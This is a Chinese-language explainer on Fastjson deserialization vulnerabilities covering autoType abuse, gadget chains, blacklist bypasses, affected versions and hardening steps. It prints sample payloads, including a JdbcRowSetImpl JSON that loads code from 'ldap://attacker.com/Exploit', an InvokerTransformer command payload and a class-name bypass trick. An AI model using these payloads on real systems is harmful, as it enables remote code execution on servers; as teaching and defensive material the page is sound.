fastjson漏洞利用原理
时间: 2023-10-13 12:07:40 浏览: 208
fastjson漏洞利用原理是基于fastjson反序列化漏洞。该漏洞利用了fastjson在反序列化过程中的特定问题,使攻击者可以通过构造恶意的JSON数据来执行任意代码或导致拒绝服务攻击。
具体来说,fastjson在反序列化JSON字符串时,会将JSON字符串转换为Java对象。在这个转换过程中,fastjson会根据JSON字符串中的字段名和值来实例化对象,并将相应的值赋给对象的成员变量。然而,由于fastjson的设计缺陷,攻击者可以通过构造特定的JSON字符串来触发一些危险操作。
漏洞的原理是fastjson在处理反序列化时,默认情况下会自动调用对象的无参构造函数来创建对象。如果攻击者能够构造一个恶意的JSON字符串,并在其中指定一个带有恶意代码的类名,那么当fastjson反序列化时,会自动调用该类的无参构造函数,并执行其中的恶意代码。
攻击者还可以利用fastjson对于类型转换不严格的特性,通过构造特定的JSON字符串来实现类型绕过,即将一个恶意代码注入到一个看似安全的类型中,然后在反序列化时将其转换为具有执行权限的类型,从而实现代码执行。
由于fastjson的广泛使用和开源社区的贡献,fastjson漏洞利用成为了一种常见的攻击手段。因此,使用fastjson时,建议及时更新到最新版本,并采取其他安全措施,如禁用autotype特性、限制反序列化的目标类等,以减少漏洞的风险。
相关问题
fastjson漏洞原理
fastjson漏洞原理是由于fastjson在处理json数据时存在一些漏洞导致攻击者可以通过构造恶意json数据来实现代码执行。攻击者可以通过构造json数据触发fastjson的反序列化过程,然后通过利用反序列化漏洞来实现代码执行。建议开发者在使用fastjson时,加强输入数据的合法性验证,及时更新fastjson的版本,避免因fastjson漏洞导致的安全问题。
Fastjson漏洞原理
Fastjson漏洞的核心原理是**反序列化过程中未对输入数据进行严格校验,导致攻击者通过构造恶意JSON数据触发任意代码执行**。其漏洞成因和利用方式主要涉及以下关键点:
---
### **1. 反序列化机制与风险**
Fastjson在反序列化时,通过`@type`字段指定目标类名,并调用该类的**无参构造函数**和**setter方法**(或直接通过反射设置字段值)来还原对象。若目标类存在**危险方法**(如`equals()`、`toString()`、`readObject()`)或**可触发外部操作的字段**(如文件路径、命令参数),则可能被利用。
#### **示例:危险方法触发**
```java
public class EvilClass {
private String command;
public void setCommand(String cmd) {
this.command = cmd;
}
@Override
public String toString() {
try {
Runtime.getRuntime().exec(command); // 恶意代码执行
} catch (Exception e) {}
return "Exploit";
}
}
```
**攻击Payload**:
```json
{
"@type": "com.example.EvilClass",
"command": "calc.exe"
}
```
当Fastjson反序列化时,会调用`EvilClass.setCommand()`设置字段值,再调用`toString()`触发命令执行。
---
### **2. 常见漏洞类型**
#### **(1) 自动类型识别(autoType)绕过**
Fastjson默认支持通过`@type`指定类名,若未禁用`autoType`,攻击者可构造任意类名(包括JDK内置类、第三方库类)进行利用。
**漏洞利用条件**:
- 目标类存在可利用的方法或字段。
- Fastjson版本≤1.2.68(早期版本默认开启`autoType`)。
#### **(2) 反序列化链构造**
攻击者通过**多步反序列化链**(如A类→B类→C类)最终触发危险操作。例如:
1. 使用`JdbcRowSetImpl`(JDK内置类)触发JNDI查询。
2. 通过`TemplatesImpl`(Xalan库类)加载恶意字节码。
**经典利用链示例**:
```json
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}
```
反序列化时,`JdbcRowSetImpl.connect()`会触发JNDI查询,加载远程恶意对象。
#### **(3) 绕过黑名单机制**
Fastjson后续版本通过黑名单禁用危险类(如`JdbcRowSetImpl`),但攻击者可通过以下方式绕过:
- **类名变形**:使用`Lcom.sun.rowset.JdbcRowSetImpl;`(L开头表示对象类型)。
- **子类利用**:继承危险类并重写方法。
- **反射加载**:通过`Class.forName()`动态加载类。
---
### **3. 漏洞触发流程**
1. **攻击者构造恶意JSON**:
```json
{
"@type": "org.apache.commons.collections.functors.InvokerTransformer",
"iMethod": "exec",
"iParam": ["calc.exe"]
}
```
2. **Fastjson解析JSON**:
- 根据`@type`加载目标类(如`InvokerTransformer`)。
- 通过反射调用setter方法设置字段值(如`iMethod`、`iParam`)。
3. **触发危险方法**:
- 若目标类存在`transform()`等危险方法,反序列化后自动调用,执行恶意代码。
---
### **4. 典型漏洞版本与影响**
| Fastjson版本 | 漏洞类型 | 影响范围 |
|--------------|------------------------------|------------------------|
| ≤1.2.24 | 自动类型识别+JNDI注入 | 任意代码执行 |
| 1.2.25-1.2.47| 黑名单绕过+TemplatesImpl利用 | 任意代码执行 |
| ≤1.2.68 | 未禁用autoType | 反序列化RCE |
| ≥1.2.83 | 默认禁用autoType | 需显式开启才可能利用 |
---
### **5. 防护措施**
1. **禁用autoType**:
```java
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
```
2. **升级到最新版本**(≥1.2.83)。
3. **白名单机制**:
```java
ParserConfig.getGlobalInstance().checkAutoType("com.example.SafeClass", null, true);
```
4. **监控反序列化行为**:
- 记录异常类加载(如`TemplatesImpl`、`JdbcRowSetImpl`)。
5. **使用安全替代方案**:
- 避免反序列化用户输入,改用JSON Schema校验。
---
阅读全文
相关推荐














